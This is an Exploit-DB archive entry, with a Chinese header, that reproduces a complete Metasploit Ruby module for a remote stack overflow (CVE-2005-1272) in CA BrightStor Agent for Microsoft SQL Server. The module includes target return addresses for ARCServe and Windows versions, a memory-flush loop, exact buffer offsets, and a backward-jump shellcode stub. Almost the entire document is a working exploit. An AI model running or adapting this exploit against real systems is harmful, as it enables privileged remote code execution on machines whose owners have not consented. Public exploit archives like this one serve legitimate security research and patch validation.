标题: CA BrightStor Agent for Microsoft SQL - Remote Overflow (Metasploit) EDB-ID: 16403 CVE: 2005-1272 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: sql_agent.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CA BrightStor Agent for Microsoft SQL Overflow',
   'Description'    => %q{
     This module exploits a vulnerability in the CA BrightStor
    Agent for Microsoft SQL Server. This vulnerability was
    discovered by cybertronic[at]gmx.net.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2005-1272'],
     [ 'OSVDB', '18501' ],
     [ 'BID', '14453'],
     [ 'URL', 'http://www.idefense.com/application/poi/display?id=287&type=vulnerabilities'],
     [ 'URL', 'http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=33239'],
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Targets'        =>
    [
     # This exploit requires a jmp esp for return
     ['ARCServe 11.0 Asbrdcst.dll 12/12/2003',     { 'Platform' => 'win', 'Ret' => 0x20c11d64 }], # jmp esp
     ['ARCServe 11.1 Asbrdcst.dll 07/21/2004',     { 'Platform' => 'win', 'Ret' => 0x20c0cd5b }], # push esp, ret
     ['ARCServe 11.1 SP1 Asbrdcst.dll 01/14/2005', { 'Platform' => 'win', 'Ret' => 0x20c0cd1b }], # push esp, ret

     # Generic jmp esp's
     ['Windows 2000 SP0-SP3 English',              { 'Platform' => 'win', 'Ret' => 0x7754a3ab }], # jmp esp
     ['Windows 2000 SP4 English',                  { 'Platform' => 'win', 'Ret' => 0x7517f163 }], # jmp esp
     ['Windows XP SP0-SP1 English',                { 'Platform' => 'win', 'Ret' => 0x71ab1d54 }], # push esp, ret
     ['Windows XP SP2 English',                    { 'Platform' => 'win', 'Ret' => 0x71ab9372 }], # push esp, ret
     ['Windows 2003 SP0 English',                  { 'Platform' => 'win', 'Ret' => 0x71c03c4d }], # push esp, ret
     ['Windows 2003 SP1 English',                  { 'Platform' => 'win', 'Ret' => 0x71c033a0 }], # push esp, ret
    ],
   'DisclosureDate' => 'Aug 02 2005',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(6070)
   ], self.class)
 end


 def exploit

  print_status("Trying target #{target.name}...")

  # The 'one line' request does not work against Windows 2003
  1.upto(5) { |i|

   # Flush some memory
   connect
   begin
    sock.put("\xff" * 0x12000)
    sock.get_once
   rescue
   end
   disconnect


   # 3288 bytes max
   #  696 == good data (1228 bytes contiguous) @ 0293f5e0
   # 3168 == return address
   # 3172 == esp @ 0293ff8c (2476 from good data)

   buf = rand_text_english(3288, payload_badchars)
   buf[ 696, payload.encoded.length ] = payload.encoded
   buf[3168, 4] = [target.ret].pack('V')  # jmp esp
   buf[3172, 5] = "\xe9\x4f\xf6\xff\xff"  # jmp -2476

   connect
   begin
    sock.put(buf)
    sock.get_once
   rescue
   end

   handler
   disconnect
  }
 end

end URL: https://www.exploit-db.com/exploits/16403